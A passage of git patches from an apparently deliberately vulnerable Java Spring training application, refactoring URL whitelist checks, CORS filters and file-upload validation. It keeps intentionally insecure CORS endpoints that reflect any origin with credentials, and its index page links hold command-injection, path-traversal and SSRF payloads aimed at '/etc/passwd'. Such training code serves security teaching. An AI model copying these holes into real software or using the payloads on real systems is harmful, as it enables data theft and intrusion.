+++ b/src/main/java/org/joychou/controller/URLRedirect.java
@@ -82,7 +82,7 @@ public static void forward(HttpServletRequest request, HttpServletResponse respo
     public static void sendRedirect_seccode(HttpServletRequest request, HttpServletResponse response) throws IOException{
         String url = request.getParameter("url");
         String urlwhitelist[] = {"joychou.org", "joychou.com"};
-        if (!SecurityUtil.checkURLbyEndsWith(url, urlwhitelist)) {
+        if (SecurityUtil.checkURLbyEndsWith(url, urlwhitelist) == null) {
             // Redirect to error page.
             response.sendRedirect("https://test.joychou.org/error3.html");
             return;
diff --git a/src/main/java/org/joychou/controller/jsonp/JSONP.java b/src/main/java/org/joychou/controller/jsonp/JSONP.java
index 34980530..a5c9072f 100644
--- a/src/main/java/org/joychou/controller/jsonp/JSONP.java
+++ b/src/main/java/org/joychou/controller/jsonp/JSONP.java
@@ -62,7 +62,7 @@ private String referer(HttpServletRequest request) {
     private String emptyReferer(HttpServletRequest request) {
         String referer = request.getHeader("referer");
 
-        if (null != referer && !SecurityUtil.checkURLbyEndsWith(referer, urlwhitelist)) {
+        if (null != referer && SecurityUtil.checkURLbyEndsWith(referer, urlwhitelist) == null) {
             return "error";
         }
 
@@ -108,7 +108,7 @@ public ModelAndView mappingJackson2JsonView(HttpServletRequest req) {
     private String safecode(HttpServletRequest request) {
         String referer = request.getHeader("referer");
 
-        if (!SecurityUtil.checkURLbyEndsWith(referer, urlwhitelist)) {
+        if (SecurityUtil.checkURLbyEndsWith(referer, urlwhitelist) == null) {
             return "error";
         }
 
diff --git a/src/main/java/org/joychou/security/HttpFilter.java b/src/main/java/org/joychou/filter/HttpFilter.java
similarity index 88%
rename from src/main/java/org/joychou/security/HttpFilter.java
rename to src/main/java/org/joychou/filter/HttpFilter.java
index 2d6354e7..83b4ea13 100644
--- a/src/main/java/org/joychou/security/HttpFilter.java
+++ b/src/main/java/org/joychou/filter/HttpFilter.java
@@ -1,4 +1,4 @@
-package org.joychou.security;
+package org.joychou.filter;
 
 
 import javax.servlet.*;
@@ -9,6 +9,7 @@
 
 import org.apache.commons.lang.StringUtils;
 import org.joychou.config.WebConfig;
+import org.joychou.security.SecurityUtil;
 import org.slf4j.Logger;
 import org.slf4j.LoggerFactory;
 import org.springframework.util.AntPathMatcher;
@@ -30,7 +31,7 @@ public void init(FilterConfig filterConfig) throws ServletException {
 
     }
 
-    private final Logger logger= LoggerFactory.getLogger(HttpFilter.class);
+    private final Logger logger= LoggerFactory.getLogger(this.getClass());
 
     @Override
     public void doFilter(ServletRequest req, ServletResponse res, FilterChain filterChain)
@@ -49,13 +50,15 @@ public void doFilter(ServletRequest req, ServletResponse res, FilterChain filter
             }
         }
 
+        // logger.info("[+] Referer: " + refer);
+
         if (isMatch) {
             if (WebConfig.getReferSecEnabled()) {
                 // Check referer for all GET requests with callback parameters.
                 for (String callback: WebConfig.getCallbacks()) {
                     if (request.getMethod().equals("GET") && StringUtils.isNotBlank(request.getParameter(callback)) ){
                         // If the check of referer fails, a 403 forbidden error page will be returned.
-                        if (!SecurityUtil.checkURLbyEndsWith(refer, WebConfig.getReferWhitelist())){
+                        if (SecurityUtil.checkURLbyEndsWith(refer, WebConfig.getReferWhitelist()) == null ){
                             logger.info("[-] URL: " + request.getRequestURL() + "?" + request.getQueryString() + "\t"
                                     + "Referer: " + refer);
                             response.sendRedirect("https://test.joychou.org/error3.html");
diff --git a/src/main/java/org/joychou/filter/OriginFilter.java b/src/main/java/org/joychou/filter/OriginFilter.java
new file mode 100644
index 00000000..5f10c1a1
--- /dev/null
+++ b/src/main/java/org/joychou/filter/OriginFilter.java
@@ -0,0 +1,59 @@
+package org.joychou.filter;
+
+
+import javax.servlet.*;
+import javax.servlet.annotation.WebFilter;
+import javax.servlet.http.HttpServletRequest;
+import javax.servlet.http.HttpServletResponse;
+import java.io.IOException;
+
+import org.joychou.security.SecurityUtil;
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
+
+/**
+ * 推荐使用该全局方案修复Cors跨域漏洞，因为可以校验一级域名。
+ * @author JoyChou @ 2019.12.19
+ *
+ */
+
+@WebFilter(filterName = "OriginFilter", urlPatterns = "/cors/sec/Filter")
+public class OriginFilter implements Filter {
+
+    private static String[] urlwhitelist = {"joychou.org", "joychou.me"};
+
+    @Override
+    public void init(FilterConfig filterConfig) throws ServletException {
+
+    }
+
+    private final Logger logger= LoggerFactory.getLogger(this.getClass());
+
+    @Override
+    public void doFilter(ServletRequest req, ServletResponse res, FilterChain filterChain)
+            throws IOException, ServletException {
+
+        HttpServletRequest request = (HttpServletRequest)req;
+        HttpServletResponse response = (HttpServletResponse)res;
+
+        String origin = request.getHeader("Origin");
+        logger.info("[+] Origin: " + origin + "\tCurrent url:" + request.getRequestURL());
+
+        // 以file协议访问html，origin为字符串的null，所以依然会走安全check逻辑
+        if ( origin != null && SecurityUtil.checkURLbyEndsWith(origin, urlwhitelist) == null) {
+            logger.error("[-] Origin check error.");
+            return;
+        }
+
+        response.setHeader("Access-Control-Allow-Origin", origin);
+        response.setHeader("Access-Control-Allow-Credentials", "true");
+        response.setHeader("Access-Control-Allow-Methods", "GET, POST, OPTION");
+
+        filterChain.doFilter(req, res);
+    }
+
+    @Override
+    public void destroy() {
+
+    }
+}
diff --git a/src/main/java/org/joychou/security/SecurityUtil.java b/src/main/java/org/joychou/security/SecurityUtil.java
index 65681836..48573454 100644
--- a/src/main/java/org/joychou/security/SecurityUtil.java
+++ b/src/main/java/org/joychou/security/SecurityUtil.java
@@ -18,29 +18,29 @@ public class SecurityUtil {
      *
      * @param url 需要check的url
      * @param urlwhitelist url白名单list
-     * @return 安全url返回true，危险url返回false
+     * @return 安全url返回url，危险url返回null
      */
-    public static Boolean checkURLbyEndsWith(String url, String[] urlwhitelist) {
+    public static String checkURLbyEndsWith(String url, String[] urlwhitelist) {
         if (null == url) {
-            return false;
+            return null;
         }
         try {
             URI uri = new URI(url);
 
             if (!url.startsWith("http://") && !url.startsWith("https://")) {
-                return false;
+                return null;
             }
 
             String host = uri.getHost().toLowerCase();
             for (String whitelist: urlwhitelist){
                 if (host.endsWith("." + whitelist)) {
-                    return true;
+                    return url;
                 }
             }
 
-            return false;
+            return null;
         } catch (Exception e) {
-            return false;
+            return null;
         }
     }
 
@@ -75,9 +75,9 @@ public static boolean checkSSRFWithoutRedirect(String url) {
      *
      * @param url The url that needs to check.
      * @param hostWlist host whitelist
-     * @return Safe url returns true. Dangerous url returns false.
+     * @return Safe url returns url. Dangerous url returns null.
      */
-    public static boolean checkSSRFByHostWlist(String url, String[] hostWlist) {
+    public static String checkSSRFByHostWlist(String url, String[] hostWlist) {
         return checkURLbyEndsWith(url, hostWlist);
     }
 
diff --git a/src/main/resources/templates/index.html b/src/main/resources/templates/index.html
index e3a3d25e..b57838db 100644
--- a/src/main/resources/templates/index.html
+++ b/src/main/resources/templates/index.html
@@ -10,6 +10,7 @@
     <p>
         <a th:href="@{/codeinject?filepath=/tmp;cat /etc/passwd}">CmdInject</a>&nbsp;&nbsp;
         <a th:href="@{/jsonp/getToken?_callback=test}">JSONP</a>&nbsp;&nbsp;
+        <a th:href="@{cors/sec/Filter}">Cors</a>&nbsp;&nbsp;
         <a th:href="@{/path_traversal/vul?filepath=../../../../../etc/passwd}">PathTraversal</a>&nbsp;&nbsp;
         <a th:href="@{/sqli/jdbc/vul?username=joychou}">SqlInject</a>&nbsp;&nbsp;
         <a th:href="@{/ssrf/urlConnection?url=file:///etc/passwd}">SSRF</a>&nbsp;&nbsp;

From 85eb3b9cc51ee43bc410debacd2c18cd1c1375ed Mon Sep 17 00:00:00 2001
From: JoyChou <viarus@qq.com>
Date: Thu, 26 Dec 2019 23:28:41 +0800
Subject: [PATCH 06/38] update cors security code

---
 .../java/org/joychou/config/CorsConfig.java   | 29 ---------
 .../java/org/joychou/config/CorsConfig2.java  |  2 +-
 .../org/joychou/config/CustomCorsConfig.java  | 49 +++++++++++++++
 .../java/org/joychou/controller/Cors.java     | 57 +++++++++++++-----
 ...SecCorsFilter.java => BaseCorsFilter.java} | 11 ++--
 .../java/org/joychou/filter/OriginFilter.java | 11 ++--
 .../joychou/security/CustomCorsProcessor.java | 60 +++++++++++++++++++
 .../joychou/security/WebSecurityConfig.java   |  6 +-
 src/main/resources/templates/index.html       |  2 +-
 9 files changed, 168 insertions(+), 59 deletions(-)
 delete mode 100644 src/main/java/org/joychou/config/CorsConfig.java
 create mode 100644 src/main/java/org/joychou/config/CustomCorsConfig.java
 rename src/main/java/org/joychou/filter/{SecCorsFilter.java => BaseCorsFilter.java} (74%)
 create mode 100644 src/main/java/org/joychou/security/CustomCorsProcessor.java

diff --git a/src/main/java/org/joychou/config/CorsConfig.java b/src/main/java/org/joychou/config/CorsConfig.java
deleted file mode 100644
index 8125e518..00000000
--- a/src/main/java/org/joychou/config/CorsConfig.java
+++ /dev/null
@@ -1,29 +0,0 @@
-package org.joychou.config;
-
-import org.springframework.context.annotation.Bean;
-import org.springframework.context.annotation.Configuration;
-import org.springframework.web.servlet.config.annotation.CorsRegistry;
-import org.springframework.web.servlet.config.annotation.WebMvcConfigurer;
-import org.springframework.web.servlet.config.annotation.WebMvcConfigurerAdapter;
-
-
-@Configuration
-public class CorsConfig
-{
-    @Bean
-    public WebMvcConfigurer corsConfigurer()
-    {
-        return new WebMvcConfigurerAdapter() {
-            @Override
-            public void addCorsMappings(CorsRegistry registry) {
-                // 设置cors origin白名单。区分http和https，并且默认不会拦截同域请求。
-                String[] allowOrigins = {"http://test.joychou.org", "https://test.joychou.org"};
-
-                registry.addMapping("/cors/sec/webMvcConfigurer")
-                        .allowedOrigins(allowOrigins)
-                        .allowedMethods("GET", "POST")
-                        .allowCredentials(true);
-            }
-        };
-    }
-}
\ No newline at end of file
diff --git a/src/main/java/org/joychou/config/CorsConfig2.java b/src/main/java/org/joychou/config/CorsConfig2.java
index 382f6ba7..6c1a8ef8 100644
--- a/src/main/java/org/joychou/config/CorsConfig2.java
+++ b/src/main/java/org/joychou/config/CorsConfig2.java
@@ -26,4 +26,4 @@
 //        bean.setOrder(0);
 //        return bean;
 //    }
-//}
+//}
\ No newline at end of file
diff --git a/src/main/java/org/joychou/config/CustomCorsConfig.java b/src/main/java/org/joychou/config/CustomCorsConfig.java
new file mode 100644
index 00000000..d18a285e
--- /dev/null
+++ b/src/main/java/org/joychou/config/CustomCorsConfig.java
@@ -0,0 +1,49 @@
+package org.joychou.config;
+
+import org.joychou.security.CustomCorsProcessor;
+import org.springframework.boot.autoconfigure.web.WebMvcRegistrationsAdapter;
+import org.springframework.context.annotation.Bean;
+import org.springframework.context.annotation.Configuration;
+import org.springframework.web.servlet.config.annotation.CorsRegistry;
+import org.springframework.web.servlet.config.annotation.WebMvcConfigurer;
+import org.springframework.web.servlet.config.annotation.WebMvcConfigurerAdapter;
+import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
+
+@Configuration
+public class CustomCorsConfig extends WebMvcRegistrationsAdapter {
+
+    /**
+     * 设置cors origin白名单。区分http和https，并且默认不会拦截同域请求。
+     */
+    @Bean
+    public WebMvcConfigurer corsConfigurer() {
+        return new WebMvcConfigurerAdapter() {
+            @Override
+            public void addCorsMappings(CorsRegistry registry) {
+                // 支持一级域名，因为重写了checkOrigin
+                String[] allowOrigins = {"joychou.org", "http://test.joychou.me"};
+                registry.addMapping("/cors/sec/webMvcConfigurer") // /**表示所有路由path
+                        .allowedOrigins(allowOrigins)
+                        .allowedMethods("GET", "POST")
+                        .allowCredentials(true);
+            }
+        };
+    }
+
+
+    @Override
+    public RequestMappingHandlerMapping getRequestMappingHandlerMapping() {
+        return new CustomRequestMappingHandlerMapping();
+    }
+
+
+    /**
+     * 自定义Cors处理器
+     * 自定义校验origin，支持一级域名校验 && 多级域名
+     */
+    private static class CustomRequestMappingHandlerMapping extends RequestMappingHandlerMapping {
+        private CustomRequestMappingHandlerMapping() {
+            setCorsProcessor(new CustomCorsProcessor());
+        }
+    }
+}
diff --git a/src/main/java/org/joychou/controller/Cors.java b/src/main/java/org/joychou/controller/Cors.java
index db526a72..adb069a9 100644
--- a/src/main/java/org/joychou/controller/Cors.java
+++ b/src/main/java/org/joychou/controller/Cors.java
@@ -11,20 +11,20 @@
 import javax.servlet.http.HttpServletResponse;
 
 /**
- * @author  JoyChou (joychou@joychou.org)
- * @date    2018.10.24
- * @desc    https://github.com/JoyChou93/java-sec-code/wiki/CORS
+ * @author  JoyChou (joychou@joychou.org) @2018.10.24
+ * https://github.com/JoyChou93/java-sec-code/wiki/CORS
  */
 
 @RestController
 @RequestMapping("/cors")
 public class Cors {
 
-    protected static String info = "{\"name\": \"JoyChou\", \"phone\": \"18200001111\"}";
-    protected static String[] urlwhitelist = {"joychou.com", "joychou.me"};
+    private static String info = "{\"name\": \"JoyChou\", \"phone\": \"18200001111\"}";
+    private static String[] urlwhitelist = {"joychou.org", "joychou.me"};
+
 
     @RequestMapping("/vuln/origin")
-    private static String vuls1(HttpServletRequest request, HttpServletResponse response) {
+    public static String vuls1(HttpServletRequest request, HttpServletResponse response) {
         String origin = request.getHeader("origin");
         response.setHeader("Access-Control-Allow-Origin", origin); // 设置Origin值为Header中获取到的
         response.setHeader("Access-Control-Allow-Credentials", "true");  // cookie
@@ -32,7 +32,7 @@ private static String vuls1(HttpServletRequest request, HttpServletResponse resp
     }
 
     @RequestMapping("/vuln/setHeader")
-    private static String vuls2(HttpServletResponse response) {
+    public static String vuls2(HttpServletResponse response) {
         // 后端设置Access-Control-Allow-Origin为*的情况下，跨域的时候前端如果设置withCredentials为true会异常
         response.setHeader("Access-Control-Allow-Origin", "*");
         return info;
@@ -41,40 +41,67 @@ private static String vuls2(HttpServletResponse response) {
 
     @CrossOrigin("*")
     @RequestMapping("/vuln/crossOrigin")
-    private static String vuls3(HttpServletResponse response) {
+    public static String vuls3() {
+        return info;
+    }
+
+
+    /**
+     * 重写Cors的checkOrigin校验方法
+     * 支持自定义checkOrigin，让其额外支持一级域名
+     * 代码：org/joychou/security/CustomCorsProcessor
+     */
+    @CrossOrigin(origins = {"joychou.org", "http://test.joychou.me"})
+    @RequestMapping("/sec/crossOrigin")
+    public static String secCrossOrigin() {
         return info;
     }
 
 
-    // https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/config/webMvcConfigurer.java
+    /**
+     * WebMvcConfigurer设置Cors
+     * 支持自定义checkOrigin
+     * 代码：org/joychou/config/CorsConfig.java
+     */
     @RequestMapping("/sec/webMvcConfigurer")
     public CsrfToken getCsrfToken_01(CsrfToken token) {
         return token;
     }
 
 
-    // https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/security/WebSecurityConfig.java
+    /**
+     * spring security设置cors
+     * 不支持自定义checkOrigin，因为spring security优先于setCorsProcessor执行
+     * 代码：org/joychou/security/WebSecurityConfig.java
+     */
     @RequestMapping("/sec/httpCors")
     public CsrfToken getCsrfToken_02(CsrfToken token) {
         return token;
     }
 
 
-    // https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/filter/SecCorsFilter.java
-    @RequestMapping("/sec/corsFitler")
+    /**
+     * 自定义filter设置cors
+     * 支持自定义checkOrigin
+     * 代码：org/joychou/filter/OriginFilter.java
+     */
+    @RequestMapping("/sec/originFilter")
     public CsrfToken getCsrfToken_03(CsrfToken token) {
         return token;
     }
 
 
-    // https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/filter/CorsFilter.java
-    @RequestMapping("/sec/Filter")
+    /**
+     * CorsFilter设置cors。
+     * 不支持自定义checkOrigin，因为corsFilter优先于setCorsProcessor执行
+     * 代码：org/joychou/filter/BaseCorsFilter.java
+     */
+    @RequestMapping("/sec/corsFilter")
     public CsrfToken getCsrfToken_04(CsrfToken token) {
         return token;
     }
 
 
-    // http://localhost:8080/cors/sec/checkOrigin
     @RequestMapping("/sec/checkOrigin")
     public String seccode(HttpServletRequest request, HttpServletResponse response) {
         String origin = request.getHeader("Origin");
diff --git a/src/main/java/org/joychou/filter/SecCorsFilter.java b/src/main/java/org/joychou/filter/BaseCorsFilter.java
similarity index 74%
rename from src/main/java/org/joychou/filter/SecCorsFilter.java
rename to src/main/java/org/joychou/filter/BaseCorsFilter.java
index 67493cb0..9987464f 100644
--- a/src/main/java/org/joychou/filter/SecCorsFilter.java
+++ b/src/main/java/org/joychou/filter/BaseCorsFilter.java
@@ -9,27 +9,26 @@
 
 /**
  * 由于CorsFilter和spring security冲突，所以改为下面的代码。
- * CorsFilter可以参考config/CorsConfig2的代码。
  */
 @Component
 @Order(Ordered.HIGHEST_PRECEDENCE)
-public class SecCorsFilter extends CorsFilter {
+public class BaseCorsFilter extends CorsFilter {
 
-    public SecCorsFilter() {
+    public BaseCorsFilter() {
         super(configurationSource());
     }
 
     private static UrlBasedCorsConfigurationSource configurationSource() {
         CorsConfiguration config = new CorsConfiguration();
         config.setAllowCredentials(true);
-        config.addAllowedOrigin("http://test.joychou.org");
-        config.addAllowedOrigin("https://test.joychou.org");
+        config.addAllowedOrigin("joychou.org"); // 不支持
+        config.addAllowedOrigin("http://test.joychou.me");
         config.addAllowedHeader("*");
         config.addAllowedMethod("GET");
         config.addAllowedMethod("POST");
 
         UrlBasedCorsConfigurationSource source = new UrlBasedCorsConfigurationSource();
-        source.registerCorsConfiguration("/cors/sec/corsFitler", config);
+        source.registerCorsConfiguration("/cors/sec/corsFilter", config);
 
         return source;
     }
diff --git a/src/main/java/org/joychou/filter/OriginFilter.java b/src/main/java/org/joychou/filter/OriginFilter.java
index 5f10c1a1..55ebf4a3 100644
--- a/src/main/java/org/joychou/filter/OriginFilter.java
+++ b/src/main/java/org/joychou/filter/OriginFilter.java
@@ -11,13 +11,13 @@
 import org.slf4j.Logger;
 import org.slf4j.LoggerFactory;
 
+
 /**
  * 推荐使用该全局方案修复Cors跨域漏洞，因为可以校验一级域名。
  * @author JoyChou @ 2019.12.19
- *
+ * 
  */
-
-@WebFilter(filterName = "OriginFilter", urlPatterns = "/cors/sec/Filter")
+@WebFilter(filterName = "OriginFilter", urlPatterns = "/cors/sec/originFilter")
 public class OriginFilter implements Filter {
 
     private static String[] urlwhitelist = {"joychou.org", "joychou.me"};
@@ -41,7 +41,10 @@ public void doFilter(ServletRequest req, ServletResponse res, FilterChain filter
 
         // 以file协议访问html，origin为字符串的null，所以依然会走安全check逻辑
         if ( origin != null && SecurityUtil.checkURLbyEndsWith(origin, urlwhitelist) == null) {
-            logger.error("[-] Origin check error.");
+            logger.error("[-] Origin check error. " + "Origin: " + origin +
+                    "\tCurrent url:" + request.getRequestURL());
+            response.setStatus(response.SC_FORBIDDEN);
+            response.getWriter().println("Invaid cors config by joychou.");
             return;
         }
 
diff --git a/src/main/java/org/joychou/security/CustomCorsProcessor.java b/src/main/java/org/joychou/security/CustomCorsProcessor.java
new file mode 100644
index 00000000..45e0451a
--- /dev/null
+++ b/src/main/java/org/joychou/security/CustomCorsProcessor.java
@@ -0,0 +1,60 @@
+package org.joychou.security;
+
+import org.apache.commons.lang.StringUtils;
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
+import org.springframework.util.CollectionUtils;
+import org.springframework.web.cors.CorsConfiguration;
+import org.springframework.web.cors.DefaultCorsProcessor;
+
+import java.util.List;
+
+public class CustomCorsProcessor extends DefaultCorsProcessor {
+
+    private static final Logger logger = LoggerFactory.getLogger(CustomCorsProcessor.class);
+
+
+    /**
+     * 跨域请求，会通过此方法检测请求源是否被允许
+     *
+     * @param config        CORS 配置
+     * @param requestOrigin 请求源
+     * @return 如果请求源被允许，返回请求源；否则返回 null
+     */
+    @Override
+    protected String checkOrigin(CorsConfiguration config, String requestOrigin) {
+
+        // 支持checkOrigin原装的域名配置
+        String result = super.checkOrigin(config, requestOrigin);
+        if (result != null) {
+            return result;
+        }
+
+        List<String> allowedOrigins = config.getAllowedOrigins();
+        if (StringUtils.isBlank(requestOrigin)
+                || CollectionUtils.isEmpty(allowedOrigins)) {
+            return null;
+        }
+
+        return customCheckOrigin(allowedOrigins, requestOrigin);
+    }
+
+
+    /**
+     * 用host的endsWith来校验requestOrigin
+     */
+    private String customCheckOrigin(List<String> allowedOrigins, String requestOrigin) {
+
+        // list转String[]
+        String[] arrayAllowOrigins = allowedOrigins.toArray(new String[allowedOrigins.size()]);
+
+        if ( SecurityUtil.checkURLbyEndsWith(requestOrigin, arrayAllowOrigins) != null) {
+            logger.info("[+] Origin: "  + requestOrigin );
+            return requestOrigin;
+        }
+        logger.error("[-] Origin: " + requestOrigin );
+        return null;
+    }
+
+
+}
\ No newline at end of file
diff --git a/src/main/java/org/joychou/security/WebSecurityConfig.java b/src/main/java/org/joychou/security/WebSecurityConfig.java
index 684e5513..27a332c3 100644
--- a/src/main/java/org/joychou/security/WebSecurityConfig.java
+++ b/src/main/java/org/joychou/security/WebSecurityConfig.java
@@ -62,7 +62,7 @@ protected void configure(HttpSecurity http) throws Exception {
                 .ignoringAntMatchers(csrfExcludeUrl)  // 不进行csrf校验的uri，多个uri使用逗号分隔
                 .csrfTokenRepository(new CookieCsrfTokenRepository());
         http.exceptionHandling().accessDeniedHandler(new CsrfAccessDeniedHandler());
-        // http.csrf().csrfTokenRepository(CookieCsrfTokenRepository.withHttpOnlyFalse());
+        // http.csrf().csrfTokenRepository(CookieCsrfTokenRepository.withHttpOnlyFalse());«
 
         http.cors();
 
@@ -85,8 +85,8 @@ CorsConfigurationSource corsConfigurationSource()
     {
         // Set cors origin white list
         ArrayList<String> allowOrigins = new ArrayList<String>();
-        allowOrigins.add("http://test.joychou.org");
-        allowOrigins.add("https://test.joychou.org"); // 区分http和https，并且默认不会拦截同域请求。
+        allowOrigins.add("joychou.org");
+        allowOrigins.add("https://test.joychou.me"); // 区分http和https，并且默认不会拦截同域请求。
 
         CorsConfiguration configuration = new CorsConfiguration();
         configuration.setAllowedOrigins(allowOrigins);
diff --git a/src/main/resources/templates/index.html b/src/main/resources/templates/index.html
index b57838db..18933862 100644
--- a/src/main/resources/templates/index.html
+++ b/src/main/resources/templates/index.html
@@ -10,7 +10,7 @@
     <p>
         <a th:href="@{/codeinject?filepath=/tmp;cat /etc/passwd}">CmdInject</a>&nbsp;&nbsp;
         <a th:href="@{/jsonp/getToken?_callback=test}">JSONP</a>&nbsp;&nbsp;
-        <a th:href="@{cors/sec/Filter}">Cors</a>&nbsp;&nbsp;
+        <a th:href="@{cors/sec/originFilter}">Cors</a>&nbsp;&nbsp;
         <a th:href="@{/path_traversal/vul?filepath=../../../../../etc/passwd}">PathTraversal</a>&nbsp;&nbsp;
         <a th:href="@{/sqli/jdbc/vul?username=joychou}">SqlInject</a>&nbsp;&nbsp;
         <a th:href="@{/ssrf/urlConnection?url=file:///etc/passwd}">SSRF</a>&nbsp;&nbsp;

From 9dd930e8a34c5145c970296ed8f5b40083e4f77d Mon Sep 17 00:00:00 2001
From: JoyChou <viarus@qq.com>
Date: Fri, 17 Jan 2020 10:44:30 +0800
Subject: [PATCH 07/38] update some bugs
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

年前最后一次commit
---
 .../java/org/joychou/config/WebConfig.java    |  57 ++++++++--
 .../org/joychou/controller/FileUpload.java    |  37 +++++--
 .../org/joychou/controller/URLWhiteList.java  | 103 ++++++++----------
 .../org/joychou/controller/jsonp/JSONP.java   |  58 +++++-----
 .../java/org/joychou/filter/JsonpFilter.java  | 102 +++++++++++++++++
 .../java/org/joychou/filter/OriginFilter.java |   2 +-
 .../{HttpFilter.java => ReferFilter.java}     |  45 ++++----
 src/main/java/org/joychou/util/WebUtils.java  |   7 ++
 src/main/resources/application.properties     |   9 +-
 src/main/resources/templates/index.html       |   1 +
 10 files changed, 293 insertions(+), 128 deletions(-)
 create mode 100644 src/main/java/org/joychou/filter/JsonpFilter.java
 rename src/main/java/org/joychou/filter/{HttpFilter.java => ReferFilter.java} (62%)

diff --git a/src/main/java/org/joychou/config/WebConfig.java b/src/main/java/org/joychou/config/WebConfig.java
index cd4770d4..96d7f0f5 100644
--- a/src/main/java/org/joychou/config/WebConfig.java
+++ b/src/main/java/org/joychou/config/WebConfig.java
@@ -12,30 +12,59 @@
 @Component
 public class WebConfig {
 
-    private static Boolean referSecEnabled = false;
     private static String[] callbacks;
+    private static Boolean  jsonpReferCheckEnabled = false;
+    private static String[] jsonpRefererHost;
     private static String[] referWhitelist;
     private static String[] referUris;
+    private static Boolean referSecEnabled = false;
+    private static String businessCallback;
 
-    @Value("${joychou.security.referer.enabled}")
-    public void setReferSecEnabled(Boolean referSecEnabled){
-        WebConfig.referSecEnabled = referSecEnabled;
+    /**
+     * application.properties里object自动转jsonp的referer校验开关
+     * @param jsonpReferCheckEnabled jsonp校验开关
+     */
+    @Value("${joychou.security.jsonp.referer.check.enabled}")
+    public void setJsonpReferCheckEnabled(Boolean jsonpReferCheckEnabled){
+        WebConfig.jsonpReferCheckEnabled = jsonpReferCheckEnabled;
     }
-    public static Boolean getReferSecEnabled(){
-        return referSecEnabled;
+    public static Boolean getJsonpReferCheckEnabled(){
+        return jsonpReferCheckEnabled;
     }
 
 
     @Value("${joychou.security.jsonp.callback}")
-    public void setCallbacks(String[] callbacks){
+    public void setJsonpCallbacks(String[] callbacks){
         WebConfig.callbacks = callbacks;
     }
-    public static String[] getCallbacks(){
+    public static String[] getJsonpCallbacks(){
         return callbacks;
     }
 
 
-    @Value("${joychou.security.referer.hostwhitelist}")
+    /**
+     * application.properties里object自动转jsonp的referer白名单域名
+     * @param jsonpRefererHost 白名单域名，仅支持一级域名
+     */
+    @Value("${joychou.security.jsonp.referer.host}")
+    public void setJsonpReferWhitelist(String[] jsonpRefererHost){
+        WebConfig.jsonpRefererHost = jsonpRefererHost;
+    }
+    public static String[] getJsonpReferWhitelist(){
+        return jsonpRefererHost;
+    }
+
+
+    @Value("${joychou.security.referer.enabled}")
+    public void setReferSecEnabled(Boolean referSecEnabled){
+        WebConfig.referSecEnabled = referSecEnabled;
+    }
+    public static Boolean getReferSecEnabled(){
+        return referSecEnabled;
+    }
+
+
+    @Value("${joychou.security.referer.host}")
     public void setReferWhitelist(String[] referWhitelist){
         WebConfig.referWhitelist = referWhitelist;
     }
@@ -52,4 +81,14 @@ public void setReferUris(String[] referUris)
     public static String[] getReferUris(){
         return referUris;
     }
+
+
+    @Value("${joychou.business.callback}")
+    public void setBusinessCallback(String businessCallback){
+        WebConfig.businessCallback = businessCallback;
+    }
+    public static String getBusinessCallback(){
+        return businessCallback;
+    }
+
 }
\ No newline at end of file
diff --git a/src/main/java/org/joychou/controller/FileUpload.java b/src/main/java/org/joychou/controller/FileUpload.java
index ac378219..77388816 100644
--- a/src/main/java/org/joychou/controller/FileUpload.java
+++ b/src/main/java/org/joychou/controller/FileUpload.java
@@ -1,6 +1,8 @@
 package org.joychou.controller;
 
 import com.fasterxml.uuid.Generators;
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
 import org.springframework.stereotype.Controller;
 import org.springframework.web.bind.annotation.GetMapping;
 import org.springframework.web.bind.annotation.PostMapping;
@@ -23,7 +25,7 @@
 /**
  * @author  JoyChou (joychou@joychou.org)
  * @date    2018.08.15
- * @desc    Java file upload
+ * @desc    File upload
  */
 
 @Controller
@@ -32,6 +34,7 @@ public class FileUpload {
 
     // Save the uploaded file to this folder
     private static String UPLOADED_FOLDER = "/tmp/";
+    private final Logger logger= LoggerFactory.getLogger(this.getClass());
 
     @GetMapping("/")
     public String index() {
@@ -80,14 +83,13 @@ public String uploadPicture(@RequestParam("file") MultipartFile multifile,
             return "redirect:/file/status";
         }
 
-        // get suffix
         String fileName = multifile.getOriginalFilename();
-        String Suffix = fileName.substring(fileName.lastIndexOf("."));
-
+        String Suffix = fileName.substring(fileName.lastIndexOf(".")); // 获取文件后缀名
+        String mimeType = multifile.getContentType(); // 获取MIME类型
         File excelFile = convert(multifile);
 
-        // security check
-        String picSuffixList[] = {".jpg", ".png", ".jpeg", ".gif", ".bmp"};
+        // 判断文件后缀名是否在白名单内
+        String picSuffixList[] = {".jpg", ".png", ".jpeg", ".gif", ".bmp"};  // 后缀名白名单
         Boolean suffixFlag = false;
         for (String white_suffix : picSuffixList) {
             if (Suffix.toLowerCase().equals(white_suffix)) {
@@ -95,7 +97,28 @@ public String uploadPicture(@RequestParam("file") MultipartFile multifile,
                 break;
             }
         }
-        if ( !suffixFlag || !isImage(excelFile) ) {
+
+        if (!suffixFlag) {
+            logger.error("[-] Suffix error: " + Suffix);
+        }
+
+        String mimeTypeBlackList[] = {"text/html"}; // 不允许传html
+
+        Boolean mimeBlackFlag = false;
+        for (String blackMimeType : mimeTypeBlackList) {
+            if (mimeType.equalsIgnoreCase(blackMimeType) ) {
+                mimeBlackFlag = true;
+                logger.error("[-] Mime type error: " + mimeType);
+                break;
+            }
+        }
+
+        boolean isImageFlag = isImage(excelFile);
+
+        if( !isImageFlag ){
+            logger.error("[-] File is not Image");
+        }
+        if ( !suffixFlag || mimeBlackFlag || !isImageFlag ) {
             redirectAttributes.addFlashAttribute("message", "illeagl picture");
             deleteFile(excelFile);
             return "redirect:/file/status";
diff --git a/src/main/java/org/joychou/controller/URLWhiteList.java b/src/main/java/org/joychou/controller/URLWhiteList.java
index 94df0400..159351cb 100644
--- a/src/main/java/org/joychou/controller/URLWhiteList.java
+++ b/src/main/java/org/joychou/controller/URLWhiteList.java
@@ -1,11 +1,10 @@
 package org.joychou.controller;
 
 
-import org.springframework.stereotype.Controller;
-import org.springframework.web.bind.annotation.RequestMapping;
-import org.springframework.web.bind.annotation.ResponseBody;
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
+import org.springframework.web.bind.annotation.*;
 
-import javax.servlet.http.HttpServletRequest;
